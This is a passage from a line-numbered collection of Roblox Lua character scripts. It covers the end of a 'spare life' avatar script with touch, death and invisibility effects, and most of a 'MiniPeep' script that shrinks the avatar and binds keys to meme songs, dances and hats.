  5169. v.Velocity = v.Position * Vector3.new(50,3,0)
  5170. v.RotVelocity = v.Position - v.Velocity
  5171. v:MakeJoints()
  5172. end end end
  5173. end)
  5174. LeftLeg.Touched:connect(function(hit)
  5175. if not hit.Parent:findFirstChild("Humanoid")then
  5176. game:GetService("Chat"):Chat(Head,"Here is a life.",0)
  5177. local pie = Instance.new("Humanoid", hit.Parent)
  5178. pie.Health = 0
  5179. for i,v in pairs(hit.Parent:GetChildren())do
  5180. if v:IsA"Humanoid" then
  5181. game:GetService("Chat"):Chat(Head,"I've given you a new life.",0)
  5182. elseif v:IsA"Part" then
  5183. game:GetService("Chat"):Chat(v.Parent.Head,"Yess!",1)
  5184. v.Velocity = v.Position * Vector3.new(50,3,0)
  5185. v.RotVelocity = v.Position - v.Velocity
  5186. v:MakeJoints()
  5187. end end end
  5188. end)
  5189. RightLeg.Touched:connect(function(hit)
  5190. if not hit.Parent:findFirstChild("Humanoid")then
  5191. game:GetService("Chat"):Chat(Head,"Here poor one.",0)
  5192. local pie = Instance.new("Humanoid", hit.Parent)
  5193. pie.Health = 0
  5194. for i,v in pairs(hit.Parent:GetChildren())do
  5195. if v:IsA"Humanoid" then
  5196. game:GetService("Chat"):Chat(Head,"Here.",0)
  5197. elseif v:IsA"Part" then
  5198. game:GetService("Chat"):Chat(v.Parent.Head,"Omg thank you!",1)
  5199. v.Velocity = v.Position * Vector3.new(50,3,0)
  5200. v.RotVelocity = v.Position - v.Velocity
  5201. v:MakeJoints()
  5202. end end end
  5203. end)
  5204. LeftArm.Touched:connect(function(hit)
  5205. if not hit.Parent:findFirstChild("Humanoid")then
  5206. game:GetService("Chat"):Chat(Head,"Here you go.",0)
  5207. local pie = Instance.new("Humanoid", hit.Parent)
  5208. pie.Health = 0
  5209. for i,v in pairs(hit.Parent:GetChildren())do
  5210. if v:IsA"Humanoid" then
  5211. game:GetService("Chat"):Chat(Head,"A spare life.",0)
  5212. elseif v:IsA"Part" then
  5213. game:GetService("Chat"):Chat(v.Parent.Head,"Hippe!",1)
  5214. v.Velocity = v.Position * Vector3.new(50,3,0)
  5215. v.RotVelocity = v.Position - v.Velocity
  5216. v:MakeJoints()
  5217. end end end
  5218. end)
  5219. RightArm.Touched:connect(function(hit)
  5220. if not hit.Parent:findFirstChild("Humanoid")then
  5221. game:GetService("Chat"):Chat(Head,"I'll create a spare life.",0)
  5222. local pie = Instance.new("Humanoid", hit.Parent)
  5223. pie.Health = 0
  5224. for i,v in pairs(hit.Parent:GetChildren())do
  5225. if v:IsA"Humanoid" then
  5226. game:GetService("Chat"):Chat(Head,"Here,a created life.",0)
  5227. elseif v:IsA"Part" then
  5228. game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
  5229. v.Velocity = v.Position * Vector3.new(50,3,0)
  5230. v.RotVelocity = v.Position - v.Velocity
  5231. v:MakeJoints()
  5232. end end end
  5233. end)
  5234. humanoid.Died:connect(function()
  5235.     game:GetService("Chat"):Chat(Head,"I'm sorry,I have failed.",2)
  5236.     for cframe_parts = 0, 100 do
  5237.         local p = Instance.new("Part")
  5238.         p.FormFactor = "Custom"
  5239.         p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  5240.         p.Size = Vector3.new(1, 1, 1)
  5241.         Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5242.         p.Locked = true
  5243.         p.CanCollide = false
  5244.         p.Anchored = true
  5245.         p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  5246.         p.Parent = workspace
  5247.         local box = Instance.new("SelectionBox", p)
  5248.         box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  5249.         box.Adornee = p
  5250.         box.Transparency = 0.5
  5251.         box.Visible = true
  5252.         local spirit = Instance.new("Fire", p)
  5253.         spirit.Color = Color3.new(255,255,255)
  5254.         spirit.Enabled = true
  5255.         spirit.Heat = 10
  5256.         spirit.SecondaryColor = Color3.new(0,0,0)
  5257.         spirit.Size = 5
  5258.     game:service'Debris':AddItem(p, 5)
  5259.     coroutine.wrap(function()
  5260.     while wait() do
  5261.         if p ~= nil then
  5262.             p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5263.             p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5264.             p.Transparency = p.Transparency + 0.015
  5265.         else
  5266.             break
  5267.         end
  5268.     end
  5269. end)()
  5270. end
  5271. for _,v in pairs(char:children()) do
  5272.     if v:IsA("Part") then
  5273.         v:Destroy()
  5274.     end
  5275. end
  5276.  
  5277. end)
  5278. local function Button1Down(mouse)
  5279.     game:GetService("Chat"):Chat(Head,"I shall spare all life.",1)
  5280.     if spirit == false then
  5281.         spirit = true
  5282.         RightArm.Transparency = 1
  5283.         LeftArm.Transparency = 1
  5284.         RightLeg.Transparency = 1
  5285.         LeftLeg.Transparency = 1
  5286.         Head.Transparency = 1
  5287.         Torso.Transparency = 1
  5288.     local protect = Instance.new("ForceField", char)
  5289.     protect.Archivable = true
  5290.     local spirit = Instance.new("Fire", char.Torso)
  5291.     spirit.Color = Color3.new(255,255,255)
  5292.     spirit.Enabled = true
  5293.     spirit.Heat = 10
  5294.     spirit.SecondaryColor = Color3.new(0,0,0)
  5295.     spirit.Size = 5
  5296.     humanoid.MaxHealth = math.huge
  5297.     wait()
  5298.     humanoid.WalkSpeed = 100
  5299.     wait(20)
  5300.     spirit = false
  5301.     game:GetService("Chat"):Chat(Head,"I will continue to spare souls.",1)
  5302.     RightArm.Transparency = 0
  5303.     LeftArm.Transparency = 0
  5304.     RightLeg.Transparency = 0
  5305.     LeftLeg.Transparency = 0
  5306.     Head.Transparency = 0
  5307.     Torso.Transparency = 0
  5308.     char.Torso.Fire:Remove()
  5309.     humanoid.Health = 100
  5310.     humanoid.WalkSpeed = 16
  5311.     char.Head.face:Remove()
  5312.     char.ForceField:Remove()
  5313.     char.Pants:Remove()
  5314.     char.Shirt:Remove()
  5315.     end
  5316. end
  5317. script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
  5318. MiniPeep = [[
  5319. local ran,err = ypcall(function()
  5320. plr = game:service'Players'.LocalPlayer
  5321. char = plr.Character
  5322. mouse = plr:GetMouse()
  5323. humanoid = char:findFirstChild("Humanoid")
  5324. torso = char:findFirstChild("Torso")
  5325. head = char.Head
  5326. ra = char:findFirstChild("Right Arm")
  5327. la = char:findFirstChild("Left Arm")
  5328. rl = char:findFirstChild("Right Leg")
  5329. ll = char:findFirstChild("Left Leg")
  5330. rs = torso:findFirstChild("Right Shoulder")
  5331. ls = torso:findFirstChild("Left Shoulder")
  5332. rh = torso:findFirstChild("Right Hip")
  5333. lh = torso:findFirstChild("Left Hip")
  5334. neck = torso:findFirstChild("Neck")
  5335. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  5336. anim = char:findFirstChild("Animate")
  5337. rootpart = char:findFirstChild("HumanoidRootPart")
  5338. camera = workspace.CurrentCamera
  5339. if anim then
  5340. anim:Destroy()
  5341. end
  5342. rj.C0 = CFrame.new()
  5343. rj.C1 = CFrame.new()
  5344. super_annoying = Instance.new("Sound", head)
  5345. super_annoying.SoundId = "http://www.roblox.com/asset/?id=149613358"
  5346. super_annoying.Volume = 1
  5347. super_annoying.Looped = true
  5348. uni = Instance.new("Sound", head)
  5349. uni.SoundId = "http://www.roblox.com/asset/?id=141444871"
  5350. uni.Volume = 1
  5351. uni.Looped = true
  5352. ann = Instance.new("Sound", head)
  5353. ann.SoundId = "http://www.roblox.com/asset/?id=130808056"
  5354. ann.Volume = 1
  5355. ann.Looped = true
  5356. fwutters = Instance.new("Sound", head)
  5357. fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355"
  5358. fwutters.Volume = 1
  5359. fwutters.Looped = true
  5360. Cobalt1164l = Instance.new("Sound", head)
  5361. Cobalt1164l.SoundId = "http://www.roblox.com/asset/?id=130803007"
  5362. Cobalt1164l.Volume = 1
  5363. Cobalt1164l.Looped = true
  5364. land_of_swords = Instance.new("Sound", head)
  5365. land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253"
  5366. land_of_swords.Volume = 1
  5367. land_of_swords.Looped = true
  5368. qq = Instance.new("Sound", head)
  5369. qq.SoundId = "http://www.roblox.com/asset/?id=142295308"
  5370. qq.Volume = 1
  5371. qq.Looped = true
  5372. doge = Instance.new("Sound", head)
  5373. doge.SoundId = "http://www.roblox.com/asset/?id=138213729"
  5374. doge.Volume = 1
  5375. doge.Looped = true
  5376. nyan = Instance.new("Sound", head)
  5377. nyan.SoundId = "http://www.roblox.com/asset/?id=142332086"
  5378. nyan.Volume = 1
  5379. nyan.Looped = true
  5380. sctmn = Instance.new("Sound", head)
  5381. sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887"
  5382. sctmn.Volume = 1
  5383. sctmn.Looped = true
  5384. barrel_roll = Instance.new("Sound", head)
  5385. barrel_roll.SoundId = "http://www.roblox.com/asset/?id=130791919"
  5386. barrel_roll.Volume = 1
  5387. barrel_roll.Looped = true
  5388. dubstep_gun = Instance.new("Sound", head)
  5389. dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=147096633"
  5390. dubstep_gun.Volume = 1
  5391. dubstep_gun.Looped = true
  5392. you_are_pirate = Instance.new("Sound", head)
  5393. you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=130888577"
  5394. you_are_pirate.Volume = 1
  5395. you_are_pirate.Looped = true
  5396. cant_touch = Instance.new("Sound", head)
  5397. cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
  5398. cant_touch.Volume = 1
  5399. cant_touch.Looped = true
  5400. gangy_style = Instance.new("Sound", head)
  5401. gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430"
  5402. gangy_style.Volume = 1
  5403. gangy_style.Looped = true
  5404. fox_say = Instance.new("Sound", head)
  5405. fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546"
  5406. fox_say.Volume = 1
  5407. fox_say.Looped = true
  5408. durk = Instance.new("Sound", head)
  5409. durk.SoundId = "http://www.roblox.com/asset/?id=142376365"
  5410. durk.Volume = 1
  5411. durk.Looped = true
  5412. sax_guy = Instance.new("Sound", head)
  5413. sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
  5414. sax_guy.Volume = 1
  5415. sax_guy.Looped = true
  5416. heman = Instance.new("Sound", head)
  5417. heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
  5418. heman.Volume = 1
  5419. heman.Looped = true
  5420. justin = Instance.new("Sound", head)
  5421. justin.SoundId = "http://www.roblox.com/asset/?id=138154702"
  5422. justin.Volume = 1
  5423. justin.Looped = true
  5424. brony_music = Instance.new("Sound", head)
  5425. brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403"
  5426. brony_music.Volume = 1
  5427. brony_music.Looped = true
  5428. spitfire = Instance.new("Sound", head)
  5429. spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739"
  5430. spitfire.Volume = 1
  5431. spitfire.Looped = true
  5432. burn_dem = Instance.new("Sound", head)
  5433. burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
  5434. burn_dem.Volume = 1
  5435. burn_dem.Looped = true
  5436. cant = Instance.new("Sound", head)
  5437. cant.SoundId = "http://www.roblox.com/asset/?id=131122314"
  5438. cant.Volume = 1
  5439. cant.Looped = true
  5440. if char:findFirstChild("Shirt") then
  5441. char:findFirstChild("Shirt"):Destroy()
  5442. end
  5443. if char:findFirstChild("Pants") then
  5444. char:findFirstChild("Pants"):Destroy()
  5445. end
  5446. if char:findFirstChild("Shirt Graphic") then
  5447. char:findFirstChild("Shirt Graphic"):Destroy()
  5448. end
  5449. Instance.new("HumanoidController", game:service'ControllerService')
  5450. Instance.new("SkateboardController", game:service'ControllerService')
  5451. Instance.new("VehicleController", game:service'ControllerService')
  5452. rh.Parent = nil
  5453. lh.Parent = nil
  5454. rs.Parent = nil
  5455. ls.Parent = nil
  5456. neck.Parent = nil
  5457. rj.Parent = nil
  5458. rl.FormFactor = "Custom"
  5459. ll.FormFactor = "Custom"
  5460. ra.FormFactor = "Custom"
  5461. la.FormFactor = "Custom"
  5462. torso.FormFactor = "Custom"
  5463. head.FormFactor = "Custom"
  5464. rootpart.FormFactor = "Custom"
  5465. rootpart.Size = Vector3.new(.4, .4, .2)
  5466. rl.Size = Vector3.new(.2, .4, .2)
  5467. ll.Size = Vector3.new(.2, .4, .2)
  5468. ra.Size = Vector3.new(.2, .4, .2)
  5469. la.Size = Vector3.new(.2, .4, .2)
  5470. torso.Size = Vector3.new(.4, .4, .2)
  5471. head.Size = Vector3.new(.4, .2, .2)
  5472. rh.Parent = torso
  5473. lh.Parent = torso
  5474. rs.Parent = torso
  5475. ls.Parent = torso
  5476. neck.Parent = torso
  5477. rj.Parent = rootpart
  5478. if torso:findFirstChild("roblox") then
  5479. local p = Instance.new("Part", char)
  5480. p.FormFactor = "Custom"
  5481. p.Size = torso.Size
  5482. p.Transparency = 1
  5483. p:BreakJoints()
  5484. local w = Instance.new("Weld", char)
  5485. w.Part0 = p
  5486. w.Part1 = torso
  5487. torso:findFirstChild("roblox").Parent = p
  5488. end
  5489. mesh1 = Instance.new("SpecialMesh", torso)
  5490. mesh1.Name = "Mesh"
  5491. mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
  5492. mesh1.MeshId = "rbxasset://fonts/torso.mesh"
  5493. mesh2 = Instance.new("SpecialMesh", la)
  5494. mesh2.Name = "Mesh"
  5495. mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
  5496. mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
  5497. mesh3 = Instance.new("SpecialMesh", ra)
  5498. mesh3.Name = "Mesh"
  5499. mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
  5500. mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
  5501. mesh4 = Instance.new("SpecialMesh", ll)
  5502. mesh4.Name = "Mesh"
  5503. mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
  5504. mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
  5505. mesh5 = Instance.new("SpecialMesh", rl)
  5506. mesh5.Name = "Mesh"
  5507. mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
  5508. mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
  5509. ls.C0 = CFrame.new(-.3,.1,0)
  5510. ls.C1 = CFrame.new(0,.1,0)
  5511. rs.C0 = CFrame.new(.3,.1,0)
  5512. rs.C1 = CFrame.new(0,.1,0)
  5513. rh.C0 = CFrame.new(.1,-.2,0)
  5514. rh.C1 = CFrame.new(0, .2, 0)
  5515. lh.C0 = CFrame.new(-.1,-.2,0)
  5516. lh.C1 = CFrame.new(0, .2, 0)
  5517. neck.C0 = CFrame.new(0,.2,0)
  5518. neck.C1 = CFrame.new(0,-.1,0)
  5519. bodyc = char:findFirstChild("Body Colors")
  5520. if bodyc then
  5521. bodyc:Destroy()
  5522. end
  5523. wait(0.1)
  5524. skincolor = {"Pastel brown"}
  5525. clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
  5526. skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
  5527. clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
  5528. function restorecolors()
  5529. for _,bp in pairs(char:children()) do
  5530. if bp:IsA("BasePart") then
  5531. bp.BrickColor = skincolorrandom
  5532. end
  5533. end
  5534. torso.BrickColor = clothcolorrandom
  5535. ll.BrickColor = clothcolorrandom
  5536. rl.BrickColor = clothcolorrandom
  5537. end
  5538. restorecolors()
  5539. local LightForTorso = Instance.new("PointLight", head)
  5540. LightForTorso.Range = 15
  5541. LightForTorso.Brightness = 20
  5542. coroutine.wrap(function()
  5543. while LightForTorso ~= nil do
  5544. LightForTorso.Color = Color3.new(math.random(), math.random(), math.random())
  5545. wait(0.8)
  5546. end
  5547. end)()
  5548. local slidecount = 0
  5549. local slidecountmax = 0
  5550. local anim = ""
  5551. local lastanim = anim
  5552. local speed = 0
  5553. local looking = false
  5554. local dancing = false
  5555. local superannoying = false
  5556. local barrelroll = false
  5557. local dubstepgun = false
  5558. local foxie = false
  5559. local durka = false
  5560. local saxguy = false
  5561. local heya = false
  5562. local jb = false
  5563. local bronymusic = false
  5564. local sheddy = false
  5565. local burndem = false
  5566. local canttt = false
  5567. local global_wait = 0
  5568. count = 0
  5569. countspeed = 1
  5570. sine = 0
  5571. sinespeed = 1
  5572. humanoid.WalkSpeed = 20
  5573. local controllerService = game:GetService("ControllerService")
  5574. local controller = controllerService:GetChildren()[1]
  5575. local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
  5576. humanoid.Died:connect(function()
  5577. for cframe_parts = 0, 100 do
  5578. local p = Instance.new("Part")
  5579. p.FormFactor = "Custom"
  5580. p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
  5581. p.Size = Vector3.new(1, 1, 1)
  5582. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5583. p.Locked = true
  5584. p.CanCollide = false
  5585. p.Anchored = true
  5586. p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
  5587. p.Parent = workspace
  5588. game:service'Debris':AddItem(p, 5)
  5589. coroutine.wrap(function()
  5590. while wait() do
  5591. if p ~= nil then
  5592. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5593. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5594. p.Transparency = p.Transparency + 0.015
  5595. else
  5596. break
  5597. end
  5598. end
  5599. end)()
  5600. end
  5601. for _,v in pairs(char:children()) do
  5602. if v:IsA("Part") then
  5603. v:Destroy()
  5604. end
  5605. end
  5606. end)
  5607. mouse.KeyDown:connect(function(k)
  5608. if string.byte(k) == 50 then
  5609. if dancing then return end
  5610. sitting = not sitting
  5611. if sitting then
  5612. local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
  5613. local hitz,enz = workspace:FindPartOnRay(ray, char)
  5614. if hitz then
  5615. controller.Parent = nil
  5616. humanoid.WalkSpeed = 0
  5617. coroutine.wrap(function()
  5618. while wait() do
  5619. humanoid.PlatformStand = true
  5620. if sitting == false then humanoid.PlatformStand = false break end
  5621. end
  5622. end)()
  5623. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  5624. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  5625. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  5626. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  5627. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  5628. miniweld = Instance.new("Weld", char)
  5629. miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
  5630. miniweld.Part0 = hitz
  5631. miniweld.Part1 = rootpart
  5632. else
  5633. sitting = false
  5634. return
  5635. end
  5636. else
  5637. if miniweld then
  5638. miniweld:Destroy()
  5639. end
  5640. controller.Parent = controllerService
  5641. humanoid.PlatformStand = false
  5642. humanoid.WalkSpeed = 30
  5643. end
  5644. end
  5645. if string.byte(k) == 32 then
  5646. fwutters:Stop()
  5647. uni:Stop()
  5648. Cobalt1164l:Stop()
  5649. qq:Stop()
  5650. ann:Stop()
  5651. nyan:Stop()
  5652. sctmn:Stop()
  5653. cant:Stop()
  5654. superannoying = false
  5655. barrelroll = false
  5656. heya = false
  5657. dubstepgun = false
  5658. youpirate = false
  5659. canttouch = false
  5660. gangnam = false
  5661. sheddy = false
  5662. durka = false
  5663. saxguy = false
  5664. foxie = false
  5665. burndem = false
  5666. bronymusic = false
  5667. canttt = false
  5668. land_of_swords:stop()
  5669. brony_music:stop()
  5670. fox_say:stop()
  5671. spitfire:stop()
  5672. heman:stop()
  5673. doge:Stop()
  5674. justin:stop()
  5675. jb = false
  5676. durk:stop()
  5677. restorecolors()
  5678. burn_dem:stop()
  5679. if hat then
  5680. hat:Destroy()
  5681. end
  5682. sax_guy:stop()
  5683. gangy_style:stop()
  5684. cant_touch:stop()
  5685. you_are_pirate:stop()
  5686. dubstep_gun:stop()
  5687. super_annoying:stop()
  5688. barrel_roll:stop()
  5689. dancing = false
  5690. global_wait = 0
  5691. LightForTorso.Color = torso.BrickColor.Color
  5692. end
  5693. if k == "z" then
  5694. if dancing then return end
  5695. if not sitting then
  5696. dancing = true
  5697. game:GetService("Chat"):Chat(head,"Jb Time!",0)
  5698. jb = true
  5699. super_annoying:play()
  5700. hat = Instance.new("Part", char)
  5701. hat.FormFactor = "Custom"
  5702. hat.CanCollide = false
  5703. hat.Size = head.Size
  5704. hat.Locked = true
  5705. hat:breakJoints()
  5706. local hatmesh = Instance.new("SpecialMesh", hat)
  5707. hatmesh.MeshId = "http://www.roblox.com/asset/?id=84302661"
  5708. hatmesh.TextureId = "http://www.roblox.com/asset/?id=84302759"
  5709. hatmesh.Scale = Vector3.new(.2, .2, .2)
  5710. local hatweld = Instance.new("Weld", hat)
  5711. hatweld.Part0 = hat
  5712. hatweld.Part1 = head
  5713. hatweld.C0 = CFrame.new(0, -0.6, 0)
  5714. end
  5715. end
  5716. if k == "=" then
  5717. if dancing then return end
  5718. if not sitting then
  5719. dancing = true
  5720. canttt = true
  5721. cant:play()
  5722. game:GetService("Chat"):Chat(head,"Can't touch me!",0)
  5723. end
  5724. end
  5725. if k == "u" then
  5726. if dancing then return end
  5727. if not sitting then
  5728. dancing = true
  5729. game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
  5730. saxguy = true
  5731. sctmn:play()
  5732. hat = Instance.new("Part", char)
  5733. hat.FormFactor = "Custom"
  5734. hat.CanCollide = false
  5735. hat.Size = head.Size
  5736. hat.Locked = true
  5737. hat:breakJoints()
  5738. local hatmesh = Instance.new("SpecialMesh", hat)
  5739. hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479"
  5740. hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070"
  5741. hatmesh.Scale = Vector3.new(.0925, .0925, .0925)
  5742. local hatweld = Instance.new("Weld", hat)
  5743. hatweld.Part0 = hat
  5744. hatweld.Part1 = la
  5745. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5746. end
  5747. end
  5748.  
  5749. if k == "k" then
  5750. if dancing then return end
  5751. if not sitting then
  5752. dancing = true
  5753. game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0)
  5754. sheddy = true
  5755. spitfire:play()
  5756. end
  5757. end
  5758. if k == "," then
  5759. if dancing then return end
  5760. if not sitting then
  5761. dancing = true
  5762. game:GetService("Chat"):Chat(head,"Land of swords!",0)
  5763. foxie = true
  5764. land_of_swords:play()
  5765. hat = Instance.new("Part", char)
  5766. hat.FormFactor = "Custom"
  5767. hat.CanCollide = false
  5768. hat.Size = head.Size
  5769. hat.Locked = true
  5770. hat:breakJoints()
  5771. local hatmesh = Instance.new("SpecialMesh", hat)
  5772. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237"
  5773. hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588"
  5774. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5775. local hatweld = Instance.new("Weld", hat)
  5776. hatweld.Part0 = hat
  5777. hatweld.Part1 = la
  5778. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5779. end
  5780. end
  5781.  
  5782. if k == "p" then
  5783. if dancing then return end
  5784. if not sitting then
  5785. dancing = true
  5786. foxie = true
  5787. game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
  5788. qq:play()
  5789. hat = Instance.new("Part", char)
  5790. hat.FormFactor = "Custom"
  5791. hat.CanCollide = false
  5792. hat.Size = head.Size
  5793. hat.Locked = true
  5794. hat:breakJoints()
  5795. local hatmesh = Instance.new("SpecialMesh", hat)
  5796. hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869"
  5797. hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834"
  5798. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5799. local hatweld = Instance.new("Weld", hat)
  5800. hatweld.Part0 = hat
  5801. hatweld.Part1 = la
  5802. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5803. end
  5804. end
  5805.  
  5806. if k == ";" then
  5807. if dancing then return end
  5808. if not sitting then
  5809. dancing = true
  5810. game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0)
  5811. heya = true
  5812. uni:play()
  5813. hat = Instance.new("Part", char)
  5814. hat.FormFactor = "Custom"
  5815. hat.CanCollide = false
  5816. hat.Size = head.Size
  5817. hat.Locked = true
  5818. hat:breakJoints()
  5819. local hatmesh = Instance.new("SpecialMesh", hat)
  5820. hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494"
  5821. hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632"
  5822. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5823. local hatweld = Instance.new("Weld", hat)
  5824. hatweld.Part0 = hat
  5825. hatweld.Part1 = la
  5826. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5827. end
  5828. end
  5829.  
  5830. if k == "n" then
  5831. if dancing then return end
  5832. if not sitting then
  5833. dancing = true
  5834. game:GetService("Chat"):Chat(head,"Gangnam Style!",0)
  5835. gangnam = true
  5836. gangy_style:play()
  5837. end
  5838. end
  5839. if k == "t" then
  5840. if dancing then return end
  5841. if not sitting then
  5842. dancing = true
  5843. game:GetService("Chat"):Chat(head,"x3",0)
  5844. heya = true
  5845. ann:play()
  5846. end
  5847. end
  5848. if k == "-" then
  5849. if dancing then return end
  5850. if not sitting then
  5851. dancing = true
  5852. game:GetService("Chat"):Chat(head,"TROCobalt1164OCobalt1164OLO",0)
  5853. heya = true
  5854. Cobalt1164l:play()
  5855. end
  5856. end
  5857.  
  5858. if k == "r" then
  5859. if dancing then return end
  5860. if not sitting then
  5861. dancing = true
  5862. game:GetService("Chat"):Chat(head,"BURN! BURN THEM!",0)
  5863. burndem = true
  5864. burn_dem:play()
  5865. end
  5866. end
  5867. if k == "x" then
  5868. if dancing then return end
  5869. if not sitting then
  5870. dancing = true
  5871. game:GetService("Chat"):Chat(head,"Do the barrel roll!",0)
  5872. barrelroll = true
  5873. barrel_roll:play()
  5874. hat = Instance.new("Part", char)
  5875. hat.FormFactor = "Custom"
  5876. hat.CanCollide = false
  5877. hat.Size = torso.Size
  5878. hat.Locked = true
  5879. hat:breakJoints()
  5880. local hatmesh = Instance.new("SpecialMesh", hat)
  5881. hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
  5882. hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
  5883. hatmesh.Scale = Vector3.new(.22, .2, .22)
  5884. local hatweld = Instance.new("Weld", hat)
  5885. hatweld.Part0 = hat
  5886. hatweld.Part1 = torso
  5887. end
  5888. end
  5889. if k == "h" then
  5890. if dancing then return end
  5891. if not sitting then
  5892. dancing = true
  5893. game:GetService("Chat"):Chat(head,":D",0)
  5894. heman:play()
  5895. heya = true
  5896. hat = Instance.new("Part", char)
  5897. hat.FormFactor = "Custom"
  5898. hat.CanCollide = false
  5899. hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
  5900. hat.Locked = true
  5901. hat.BrickColor = BrickColor.new("Hot pink")
  5902. hat:breakJoints()
  5903. local hatweld = Instance.new("Weld", hat)
  5904. hatweld.Part0 = hat
  5905. hatweld.Part1 = torso
  5906. end
  5907. end
  5908. if k == "j" then
  5909. if dancing then return end
  5910. if not sitting then
  5911. dancing = true
  5912. game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0)
  5913. justin:play()
  5914. jb = true
  5915. hat = Instance.new("Part", char)
  5916. hat.FormFactor = "Custom"
  5917. hat.CanCollide = false
  5918. hat.Size = head.Size
  5919. hat.Locked = true
  5920. hat.BrickColor = BrickColor.new("Hot pink")
  5921. hat:breakJoints()
  5922. local hatmesh = Instance.new("SpecialMesh", hat)
  5923. hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
  5924. hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
  5925. hatmesh.Scale = Vector3.new(.23, .23, .23)
  5926. local hatweld = Instance.new("Weld", hat)
  5927. hatweld.Part0 = hat
  5928. hatweld.Part1 = head
  5929. hatweld.C0 = CFrame.new(0.025, -0.05, 0)
  5930. end
  5931. end
  5932.  
  5933. if k == "'" then
  5934. if dancing then return end
  5935. if not sitting then
  5936. dancing = true
  5937. fwutters:play()
  5938. game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
  5939. bronymusic = true
  5940. for _,bp in pairs(char:children()) do
  5941. if bp:IsA("BasePart") then
  5942. bp.BrickColor = BrickColor.new("Cool yellow")
  5943. end
  5944. end
  5945. hat = Instance.new("Part", char)
  5946. hat.FormFactor = "Custom"
  5947. hat.CanCollide = false
  5948. hat.Size = head.Size
